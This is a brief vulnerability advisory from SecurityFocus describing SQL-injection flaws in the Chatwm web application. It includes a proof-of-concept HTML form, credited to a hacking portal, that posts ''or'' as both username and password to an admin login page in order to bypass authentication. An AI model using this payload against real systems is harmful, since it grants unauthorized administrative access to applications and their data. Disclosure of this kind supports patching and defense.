source: https://www.securityfocus.com/bid/21732/info

Chatwm is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Manual connect :

Go to Admin Panel Login -----> http://www.example.com/[path to script]/login.asp

Remote connect :

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title>
<center>ShaFuck31 - LiderHack.Org</center>
<FORM NAME=giris ACTION="http://www.example.com/d/asp/SelGruFra.asp" METHOD=post>
<table align=center>
<td>Kullanici Adi:</td><td><INPUT NAME=txtUse class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td>Sifre:</td><td><INPUT NAME=txtPas TYPE=text class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td>
</tr></table></form>